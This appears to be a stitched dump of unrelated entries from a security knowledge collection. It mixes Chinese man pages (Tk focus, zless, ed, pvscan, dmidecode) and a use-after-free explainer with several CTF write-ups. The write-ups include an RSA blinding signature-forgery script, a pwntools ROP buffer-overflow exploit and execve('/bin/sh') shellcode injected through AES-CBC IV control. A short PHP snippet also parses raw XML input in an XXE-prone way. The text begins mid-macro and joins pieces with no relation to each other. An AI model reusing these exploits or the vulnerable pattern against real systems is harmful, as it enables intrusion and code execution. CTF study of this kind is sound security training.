\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_focusNext 3tk 4.0 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_focusNext, tk_focusPrev, tk_focusFollowsMouse \- 管理输入聚焦的实用过程 .SH "总览 SYNOPSIS" \fBtk_focusNext \fIwindow\fR .sp \fBtk_focusPrev \fIwindow\fR .sp \fBtk_focusFollowsMouse\fR .BE .SH "描述 DESCRIPTION" .PP \fBtk_focusNext\fR是用于键盘遍历的一个实用过程。它返回在聚焦次序上在 \fIwindow\fR后面的“下一个”窗口。聚焦次序由窗口的堆栈次序和窗口的层次结构来决定。在兄弟窗口之间,聚焦次序同于堆栈次序,最低的窗口是第一个。如果一个窗口有子窗口,则首先访问这个窗口,随后(递归的)是它的子窗口,随后是它的下一个兄弟窗口。跳过除了 \fIwindow\fR 之外的顶层窗口,所以 \fBtk_focusNext\fR 从不返回与 \fIwindow \fR在不同的顶层窗口中的窗口。 .PP 在计算下一个窗口之后,\fBtk_focusNext\fR 检查这个窗口的 \fB-takefocus\fR选项来查看是否跳过它。如果它不接受聚焦,\fBtk_focusNext\fR 继续到在聚焦次序上的下一个窗口上,直到最终找到接受聚焦的一个窗口或回到 \fIwindow\fR。 .PP \fBtk_focusPrev\fR 类似于 \fBtk_focusNext\fR,但返回在聚焦次序上在\fIwindow\fR 紧前面的窗口。 .PP \fBtk_focusFollowsMouse\fR 把这个应用的聚焦模式改变成隐含模式,此时在鼠标下的窗口得到聚焦。在调用这个过程之后,在鼠标进入一个窗口的时候,Tk 将自动给予它输入聚焦。可以使用 \fBfocus\fR 命令来移动光标到不在鼠标下的一个窗口上,但是一旦鼠标移动到一个新窗口上聚焦就会跳到那个窗口上。注意: 现在没有内置的对使应用返回显式的聚焦模式的支持;要这样做你必须写一个删除 \fBtk_focusFollowsMouse\fR 所建立的绑定的脚本。 .SH "关键字 KEYWORDS" focus, keyboard traversal, top-level .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/12/28 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH ZLESS 1 .SH 名称 zless \- 用于在显示器上阅读被压缩的文本文件的过滤器 .SH 概述 \fBzless\fP [ 文件名 ... ] .SH 描述 \fIZless\fP 是一个文件过滤器,可以在软终端上以全屏幕的形式显示经过压缩或未经压缩的文本文件。它等效于将环境变量 LESSOPEN 设置为 \&'|gzip \-cdfq \-\- %s',LESSMETACHARS 设置为 \&'<space><tab><newline>;*?"()<>[|&^`#\e$%=~',然后运行 \fIless\fP 命令。然而,很多人认为独立的 \fIzless\fP 命令同样重要且值得提供。 .SH 参见 zmore(1), less(1) .SH 缺陷 \fIZless\fP 无法在压缩数据使用管道经由标准输入方式提供的情况下工作; 它要求输入文件必须经由参数给出。如需从管道中读取压缩数据,您可以使用 \&.\|.\|.\fB|gunzip|less\fP instead of .\|.\|.\fB|zless\fP 作为替代。 .SH 版权声明 Copyright \(co 2006\-2007, 2015\-2018 Free Software Foundation, Inc. .br Copyright \(co 1992, 1993 Jean\-loup Gailly .PP Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. 授予制作和发布本手册的逐字副本的权限,条件为此权限声明在所有副本中必须保持原样。 .ig Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual). .. .PP Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. 授予复制和制作此手册经过修改的版本的权限,其条件与逐字副本的情况一致,且整个衍生工作须以与本权限声明完全相同的条款进行发布。 .PP Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation. 授予复制和发布本手册页其它语言的翻译的权限,其条件与受修改副本的情况一致;作为例外,本权限声明可以按照(自由软件)基金会批准的翻译文本进行阐述。(译者注:当前翻译未经批准,仅供参考;具体条款请以英文原文为准。)
sec-knowleage
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name;
sec-knowleage
# Trump Trump (crypto 100) ###ENG [PL](#pl-version) In the task we get access to remote RSA signature service. We also get a [picture](trump.jpg) we are supposed to sign with this service. But the server refuses to sign this specific payload. We can send some random payloads and check how it's signed since we know the `e` and `n` public key components. We can figure out from this that RSA is unpadded! The attack is quite simple - it's RSA blinding attack on homomorphic unpadded RSA. In short: we can split the payload into parts, sign each one of the separately and then combine the signatures. So we make a script: ```python import codecs import socket import re from time import sleep def bytes_to_long(data): return int(data.encode('hex'), 16) def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) def get_payload(payload): url = "trumptrump.pwn.republican" port = 3609 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) data = s.recv(9999) print(data) sleep(1) s.sendall(str(payload) + "\r\n") sleep(1) data = s.recv(99999999) return data def get_signature(payload): data = get_payload(payload) print(data) return int(re.findall("kid: (\d+)", data)[0]) def combine_sigs(sig1, sig2): N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263 return (sig1 * sig2) % N def find_divisor(picture_long): for i in xrange(2, 10000): if picture_long % i == 0: print(i) return i def main(): with codecs.open("trump.jpg", "rb") as input_file: picture = input_file.read() picture_long = bytes_to_long(picture) print(picture_long) divisor = find_divisor(picture_long) sig1 = get_signature(picture_long / divisor) sig2 = get_signature(divisor) result_sig = combine_sigs(sig1, sig2) print(result_sig) payload = get_payload(result_sig) with codecs.open("result.bin", "wb") as output: output.write(payload) ``` This code takes the payload to sign, finds integer divisor (in this case `3`), signs divisor and payload/divisor and then combines the signatures. Combining the signatures is just multiplying them back modulo `n`. Now there was a very confusing step - what to do with the signature? Apparently author really likes guessing games... It turnes out we had to send the signature again to the server as payload and this would give us in return the picture with a flag: ![](./output.jpg) ###PL version W zadaniu dostajemy adres zdalnego serwera podpisującego dane za pomocą RSA. Dostajemy też [obrazek](trump.jpg) który mamy podpisać. Ale serwer odmawia podpisania tych konkretnych danych. Możemy wysłać inne dane a potem sprawdzić jak zostały zaszyfrowane bo znamy `e` oraz `n` - elementy klucza publicznego. Z tego dowiadujemy sie że RSA nie używa tu paddingu! Atak jest dość prostu - to RSA blinding na homomorficzne RSA bez paddingu. W skrócie: mozemy podzielić dane na kawałki, podpisać je osobno a potem złożyć sygnatury. Piszemy do tego skrypt: ```python import codecs import socket import re from time import sleep def bytes_to_long(data): return int(data.encode('hex'), 16) def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) def get_payload(payload): url = "trumptrump.pwn.republican" port = 3609 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) data = s.recv(9999) print(data) sleep(1) s.sendall(str(payload) + "\r\n") sleep(1) data = s.recv(99999999) return data def get_signature(payload): data = get_payload(payload) print(data) return int(re.findall("kid: (\d+)", data)[0]) def combine_sigs(sig1, sig2): N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263 return (sig1 * sig2) % N def find_divisor(picture_long): for i in xrange(2, 10000): if picture_long % i == 0: print(i) return i def main(): with codecs.open("trump.jpg", "rb") as input_file: picture = input_file.read() picture_long = bytes_to_long(picture) print(picture_long) divisor = find_divisor(picture_long) sig1 = get_signature(picture_long / divisor) sig2 = get_signature(divisor) result_sig = combine_sigs(sig1, sig2) print(result_sig) payload = get_payload(result_sig) with codecs.open("result.bin", "wb") as output: output.write(payload) ``` Ten kod bierze dane do podpisu, znajduje dzielnik całkowity (w tym przypadku `3`), podpisuje dzielnik oraz payload/dzielnik a następnie składa te dwa podpisy. Składanie podpisów to po prostu przemnożenie ich modulo `n`. Teraz nastąpił bardzo dziwny problem - co dalej zrobić z tym podpisem? Autor bardzo lubi zgadywanki... Okazało się, że należy wysłać ten podpis do serwera a serwer w odpowiedzi wyśle nam flagę: ![](./output.jpg)
sec-knowleage
ed === 单行纯文本编辑器 ## 补充说明 **ed命令** 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下: ### 语法 ```shell ed(选项)(参数) ``` ### 选项 ```shell A # 切换到输入模式,在文件的最后一行之后输入新的内容; C # 切换到输入模式,用输入的内容替换掉最后一行的内容; i # 切换到输入模式,在当前行之前加入一个新的空行来输入内容; d # 用于删除最后一行文本内容; n # 用于显示最后一行的行号和内容; w # <文件名>:一给定的文件名保存当前正在编辑的文件; q # 退出ed编辑器。 ``` ```shell -G或——traditional:提供兼容的功能; -p<字符串>:指定ed在command mode的提示字符; -s,-,--quiet或——silent:不执行开启文件时的检查功能; --help:显示帮助; --version:显示版本信息。 ``` ### 参数 文件:待编辑的文件。
sec-knowleage
pvscan === 扫描系统中所有硬盘的物理卷列表 ## 补充说明 **pvscan命令** 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。 ### 语法 ```shell pvscan(选项) ``` ### 选项 ```shell -d:调试模式; -e:仅显示属于输出卷组的物理卷; -n:仅显示不属于任何卷组的物理卷; -s:短格式输出; -u:显示UUID。 ``` ### 实例 使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令: ```shell [root@localhost ~]# pvscan #扫描所有硬盘上的物理卷 ``` 输出信息如下: ```shell PV /dev/sdb1 lvm2 [101.94 MB] PV /dev/sdb2 lvm2 [101.98 MB] Total: 2 [203.92 MB] / in use: 0 [0 ] / in no VG: 2 [203.92 MB] ``` 说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。
sec-knowleage
# Buffering 2 Category: Binary Exploitation, 250 points ## Description > The flag service is under maintenance, but I think we can still get the flag, care to check? ```c #include <stdio.h> #include <unistd.h> #include <string.h> #include "flag.h" int get_credentials(); int authenticate_with_server(int *authenticated); void print_flag(); extern char flag[100]; char debug_buffer[100] = {0}; char spinning_icon[4] = {'/', '-', '\\', '|'}; #define USERNAME_LENGTH 32 #define PASSWORD_LENGTH 64 int main() { int authenticated = 0; long int i = 0; printf("Hello and thank you for using Flag Distibuter v2.1 🚩🚩🚩\n"); get_credentials(); printf("Autenticating "); while (!authenticate_with_server(&authenticated)) { printf("\b%c", spinning_icon[(i++) % 4]); fflush(stdout); sleep(0.91); } if(authenticated) print_flag(); return 0; } int get_credentials() { char username[USERNAME_LENGTH] = {0}; char password[PASSWORD_LENGTH] = {0}; printf("To receive the flag, please enter your username and password\n"); printf("Username: "); fflush(stdout); read(STDIN_FILENO, username, PASSWORD_LENGTH); printf("Password: "); fflush(stdout); read(STDIN_FILENO, password, PASSWORD_LENGTH); } void print_flag() { printf("This service is in maintenance, please try again later\n"); } int authenticate_with_server(int *authenticated) { /*TODO: add authentication with server*/ return 0; } ``` ## Solution This is the follow-up for [Buffering 1](Buffering_1.md). Let's check the diff: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_2] └─$ diff ../Buffering_1/buffering_1.c buffering_2.c 3c3 < #include <stdlib.h> --- > #include <string.h> 10a11 > char debug_buffer[100] = {0}; 21c22 < printf("Hello and thank you for using Flag Distibuter v2.0 🚩🚩🚩\n"); --- > printf("Hello and thank you for using Flag Distibuter v2.1 🚩🚩🚩\n"); 25c26 < while (!authenticate_with_server(&authenticated)){ --- > while (!authenticate_with_server(&authenticated)) { 51,54c52,53 < printf("Thank you for waiting, here's the flag: %s\n", flag); < fflush(stdout); < exit(0); < } --- > printf("This service is in maintenance, please try again later\n"); > } ``` The main difference is that `print_flag` won't actually print the flag. `checksec` looks pretty much the same and still allows us to perform a buffer overflow in order to hijack the code execution path: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_2] └─$ checksec --file ./buffering [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_2/buffering' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` Therefore, we'll create a ROP to print the flag: ```python # First, create a pwntools template by calling: # $ pwn template --host ctf.cs.technion.ac.il --port 4079 ./buffering #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) import os def send_payload(p, payload): p.recvuntil(b"Username: ") p.send(payload) p.recvuntil(b"Password: ") p.sendline(b"dummy") def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere with open("/proc/sys/kernel/core_pattern") as f: core_pattern = f.read() if core_pattern.strip() == "core": from pathlib import Path raise Exception("Please run the following command first:\n" "mkdir -p {0} && " "sudo bash -c 'echo {0}/core_dump > /proc/sys/kernel/core_pattern'" .format(Path.home() / "core")) #os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(90, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() log.info(f"flag address: {hex(exe.symbols['flag'])}") rop = ROP(exe) rop.puts(exe.symbols["flag"]) log.info(f"ROP:\n{rop.dump()}") payload = fit({overflow_offset: rop.chain()}) io = start() send_payload(io, payload) print(io.recvall()) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_2] └─$ python3 exploit.py [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_2/buffering' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/media/sf_CTFs/ducky_debug_duck/Buffering_2/buffering': pid 3705 [*] Process '/media/sf_CTFs/ducky_debug_duck/Buffering_2/buffering' stopped with exit code -11 (SIGSEGV) (pid 3705) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_2/core.3705' Arch: amd64-64-little RIP: 0x401360 RSP: 0x7ffeb273be98 Exe: '/media/sf_CTFs/ducky_debug_duck/Buffering_2/buffering' (0x400000) Fault: 0x6161616161616166 [*] Overflow offset: 40 [*] flag address: 0x404060 [*] Loaded 14 cached gadgets for './buffering' [*] ROP: 0x0000: 0x4013f3 pop rdi; ret 0x0008: 0x404060 [arg0] rdi = flag 0x0010: 0x401084 puts [+] Opening connection to ctf.cs.technion.ac.il on port 4079: Done [+] Receiving all data: Done (27B) [*] Closed connection to ctf.cs.technion.ac.il port 4079 b"flag{w3'll_r3turn_sh0rt1y}\n" ```
sec-knowleage
dmidecode === 在Linux系统下获取有关硬件方面的信息 ## 补充说明 **dmidecode命令** 可以让你在Linux系统下获取有关硬件方面的信息。dmidecode的作用是将DMI数据库中的信息解码,以可读的文本方式显示。由于DMI信息可以人为修改,因此里面的信息不一定是系统准确的信息。dmidecode遵循SMBIOS/DMI标准,其输出的信息包括BIOS、系统、主板、处理器、内存、缓存等等。 DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的管理系统,DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。SMBIOS和DMI是由行业指导机构Desktop Management Task Force(DMTF)起草的开放性的技术标准,其中DMI设计适用于任何的平台和操作系统。 DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。 ### 语法 ```shell dmidecode [选项] ``` ### 选项 ```shell -d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。 -h:显示帮助信息。 -s:只显示指定DMI字符串的信息。(string) -t:只显示指定条目的信息。(type) -u:显示未解码的原始条目内容。 --dump-bin file:将DMI数据转储到一个二进制文件中。 --from-dump FILE:从一个二进制文件读取DMI数据。 -V:显示版本信息。 ``` **dmidecode参数string及type列表:** (1)Valid string keywords are: * bios-vendor * bios-version * bios-release-date * system-manufacturer * system-product-name * system-version * system-serial-number * system-uuid * baseboard-manufacturer * baseboard-product-name * baseboard-version * baseboard-serial-number * baseboard-asset-tag * chassis-manufacturer * chassis-type * chassis-version * chassis-serial-number * chassis-asset-tag * processor-family * processor-manufacturer * processor-version * processor-frequency (2)Valid type keywords are: * bios * system * baseboard * chassis * processor * memory * Cache * connector * slot (3)type全部编码列表: * BIOS * System * Base Board * Chassis * Processor * Memory Controller * Memory Module * Cache * Port Connector * System Slots * On Board Devices * OEM Strings * System Configuration Options * BIOS Language * Group Associations * System Event Log * Physical Memory Array * Memory Device * 32-bit Memory Error * Memory Array Mapped Address * Memory Device Mapped Address * Built-in Pointing Device * Portable Battery * System Reset * Hardware Security * System Power Controls * Voltage Probe * Cooling Device * Temperature Probe * Electrical Current Probe * Out-of-band Remote Access * Boot Integrity Services * System Boot * 64-bit Memory Error * Management Device * Management Device Component * Management Device Threshold Data * Memory Channel * IPMI Device * Power Supply * Additional Information * Onboard Device ### 实例 ```shell dmidecode -t 1 # 查看服务器信息 dmidecode | grep 'Product Name' # 查看服务器型号 dmidecode |grep 'Serial Number' # 查看主板的序列号 dmidecode -t 2 # 查看主板信息 dmidecode -s system-serial-number # 查看系统序列号 dmidecode -t memory # 查看内存信息 dmidecode -t 11 # 查看OEM信息 dmidecode -t 17 # 查看内存条数 dmidecode -t 16 # 查询内存信息 dmidecode -t 4 # 查看CPU信息 cat /proc/scsi/scsi # 查看服务器硬盘信息 ``` 不带选项执行dmidecode命令通常会输出所有的硬件信息。dmidecode命令有个很有用的选项-t,可以按指定类型输出相关信息,假如要获得处理器方面的信息,则可以执行: ```shell [root@localhost ~]# dmidecode -t processor # dmidecode 2.11 SMBIOS 2.5 present. Handle 0x0001, DMI type 4, 40 bytes Processor Information Socket Designation: Node 1 Socket 1 Type: Central Processor Family: Xeon MP Manufacturer: Intel(R) Corporation id: C2 06 02 00 FF FB EB BF Signature: Type 0, Family 6, Model 44, Stepping 2 Flags: FPU (Floating-point unit on-chip) VME (Virtual mode extension) DE (Debugging extension) PSE (Page size extension) TSC (time stamp counter) MSR (Model specific registers) PAE (Physical address extension) MCE (Machine check exception) CX8 (CMPXCHG8 instruction supported) APIC (On-chip APIC hardware supported) SEP (Fast system call) MTRR (Memory type range registers) PGE (Page global enable) MCA (Machine check architecture) CMOV (Conditional move instruction supported) PAT (Page attribute table) PSE-36 (36-bit page size extension) CLFSH (CLFLUSH instruction supported) DS (Debug store) ACPI (ACPI supported) MMX (MMX technology supported) FXSR (FXSAVE and FXSTOR instructions supported) SSE (Streaming SIMD extensions) SSE2 (Streaming SIMD extensions 2) ss (Self-snoop) HTT (Multi-threading) TM (Thermal monitor supported) PBE (Pending break enabled) Version: Intel(R) Xeon(R) CPU E5620 @ 2.40GHz Voltage: 1.2 V External Clock: 5866 MHz Max Speed: 4400 MHz Current Speed: 2400 MHz Status: Populated, Enabled Upgrade: ZIF Socket L1 Cache Handle: 0x0002 L2 Cache Handle: 0x0003 L3 Cache Handle: 0x0004 Serial Number: Not Specified Asset Tag: Not Specified Part Number: Not Specified Core Count: 4 Core Enabled: 4 Thread Count: 8 Characteristics: 64-bit capable Handle 0x0055, DMI type 4, 40 bytes Processor Information Socket Designation: Node 1 Socket 2 Type: Central Processor Family: Xeon MP Manufacturer: Not Specified ID: 00 00 00 00 00 00 00 00 Signature: Type 0, Family 0, Model 0, Stepping 0 Flags: None Version: Not Specified Voltage: 1.2 V External Clock: 5866 MHz Max Speed: 4400 MHz Current Speed: Unknown Status: Unpopulated Upgrade: ZIF Socket L1 Cache Handle: Not Provided L2 Cache Handle: Not Provided L3 Cache Handle: Not Provided Serial Number: Not Specified Asset Tag: Not Specified Part Number: Not Specified Characteristics: None ``` 查看内存的插槽数,已经使用多少插槽。每条内存多大,已使用内存多大 ```shell dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range # Size: 2048 MB # Size: 2048 MB # Size: 4096 MB # Size: No Module Installed ``` 查看内存支持的最大内存容量 ```shell dmidecode|grep -P 'Maximum\s+Capacity' # Maximum Capacity: 16 GB ``` 查看内存的频率 ```shell dmidecode|grep -A16 "Memory Device" # Memory Device # Array Handle: 0x1000 # Error Information Handle: Not Provided # Total Width: 72 bits # Data Width: 64 bits # Size: 2048 MB # Form Factor: DIMM # Set: 1 # Locator: DIMM_A1 # Bank Locator: Not Specified # Type: DDR3 # Type Detail: Synchronous Unbuffered (Unregistered) # Speed: 1333 MHz # Manufacturer: 00CE000080CE # Serial Number: 4830F3E1 # Asset Tag: 01093200 # Part Number: M391B5673EH1-CH9 # -- # Memory Device # Array Handle: 0x1000 # Error Information Handle: Not Provided # Total Width: 72 bits # Data Width: 64 bits # Size: 2048 MB # Form Factor: DIMM # Set: 1 # Locator: DIMM_A2 # Bank Locator: Not Specified # Type: DDR3 # Type Detail: Synchronous Unbuffered (Unregistered) # Speed: 1333 MHz # Manufacturer: 00AD000080AD # Serial Number: 1BA1F0B5 # Asset Tag: 01110900 # Part Number: HMT325U7BFR8C-H9 # -- dmidecode|grep -A16 "Memory Device"|grep 'Speed' # Speed: 1333 MHz # Speed: 1333 MHz # Speed: 1333 MHz # Speed: Unknown ```shell
sec-knowleage
from Crypto.Util.number import * p = getPrime(157) q = getPrime(157) n = p * q e = 31415926535897932384 flag = open('flag').read().strip() assert len(flag) == 50 m = int(flag.encode('hex'), 16) c = pow(m, e, n) print 'n =', n print 'e =', e print 'c =', c
sec-knowleage
## pwn / c0py_pr073c710n (200+11p, 26 solves) >Software piracy is a crime! >Don’t steal our hard work. > >nc 104.154.90.175 54509 >[download](cat_flag.exe) > >HINT: 2.19-18+deb8u4 cat_flag.exe is x86-64 ELF binary with some code inside (marked as protected() routine) encrypted using AES-128-CBC. Mechanism is quite simple: binary asks for license key, then decrypts and executes protected() routine. ```c int main() { // ... char licenseKey[48]; // [sp+0h] [bp-60h]@ // ... printf("License Key: ", 0LL); strcpy(&licenseKey[17], 'guYoiGpBNgJT9Rb8'); fgets(licenseKey, 33, stdin); ERR_load_crypto_strings(licenseKey, 33LL); OPENSSL_add_all_algorithms_noconf(); OPENSSL_config(0LL); // {...} if ( mprotect(page_addr, page_size, 7) == -1 ) { result = -1; } else { puts("Decrypting protected code..."); // ... (evaluating encrypted code offset) decrypted_len = decrypt(&protected, protectedLen, licenseKey, &licenseKey[17], &protected); // ... (noping rest of payload) if ( mprotect(page_addr, page_size, 5) == -1 ) { result = -1; } else { puts("Finished decryption!"); puts("Starting protected code..."); protected(); puts("Bye!"); result = 0; } } return result; } ``` License key is 33-chars string, which is interpreted as 16-bytes AES key and 16-bytes IV with one not-important char in the middle. If we look [how CBC mode works](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29), we can notice one interesting thing: First decrypted block is just xor'ed with IV, which means that if we have control over IV, we can "decrypt" this block to everything we want. Just get some (random) key, "decrypt" ciphertext using it and xor the result with code you want to execute. Unfortunately, using this method, we can write only one block, which means that our shellcode can be only 16 bytes length. Binary doesn't have any reference to system() inside, no code which could be helpful in spawning shell. It was difficult to place *"/bin/sh"* and *execve()* syscall in 16 bytes. Fortunately, libc contains string *"/bin/sh"* inside. (gdb) set environment LD_PRELOAD=libc2.19-18+deb8u4/libc-2.19.so libc2.19-18+deb8u4/ld-2.19.so ... (gdb) find &puts, -999999, "/bin/sh" 0x7ffff7b8f6e8 I've also noticed that *puts()* leaves address in RCX register, which points to the part of *write()* routine from libc. With this address, we can easily evaluate *"/bin/sh"* position. Call to *puts()* can also be found just before *protected()* execution. (gdb) x/i $rip => 0x400c06 <main+33>: callq 0x400900 <puts@plt> (gdb) x/d $rcx 0x0: Cannot access memory at address 0x0 (gdb) ni Welcome to cat_flag.exe v0.3 0x0000000000400c0b in main () (gdb) x/d $rcx 0x7ffff7b07e20 <write+16>: -268354232 Finally, this 0xF-bytes shellcode was created: 0: 31 f6 xor esi,esi /* argv NULL */ 2: 48 8d b9 b8 78 08 00 lea rdi, [rcx+0x878b8] /* cmd "/bin/sh" */ 9: b0 3b mov al,0x3b /* execve */ b: 31 d2 xor edx,edx /* env NULL */ d: 0f 05 syscall /* FIRE! */ ...and using this [exploit](exploit.py) we successfully got access to shell and were able to read the flag. PS.: Shell had also small trap: some commands were modified and didn't produce any output (e.g. ls wasn't working) [+] Opening connection to 104.154.90.175 on port 54509: Done [*] Switching to interactive mode $ ls $ pwd /home/ctf $ find . ./ynetd ./.bashrc ./.bash_logout ./flag.txt ./cat_flag.exe ./.profile $ cat /home/ctf/flag.txt hxp{The unauthorized reproduction or distribution of this copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.}$
sec-knowleage
### Use After Free原理 简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况 - 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。 - 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么**程序很有可能可以正常运转**。 - 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,**就很有可能会出现奇怪的问题**。 而我们一般所指的 **Use After Free** 漏洞主要是后两种。此外,**我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer。** 这里给出一个简单的例子 ```c++ #include <stdio.h> #include <stdlib.h> typedef struct name { char *myname; void (*func)(char *str); } NAME; void myprint(char *str) { printf("%s\n", str); } void printmyname() { printf("call print my name\n"); } int main() { NAME *a; a = (NAME *)malloc(sizeof(struct name)); a->func = myprint; a->myname = "I can also use it"; a->func("this is my function"); // free without modify free(a); a->func("I can also use it"); // free with modify a->func = printmyname; a->func("this is my function"); // set NULL a = NULL; printf("this pogram will crash...\n"); a->func("can not be printed..."); } ``` 运行结果如下 ```shell ➜ use_after_free git:(use_after_free) ✗ ./use_after_free this is my function I can also use it call print my name this pogram will crash... [1] 38738 segmentation fault (core dumped) ./use_after_free ```
sec-knowleage
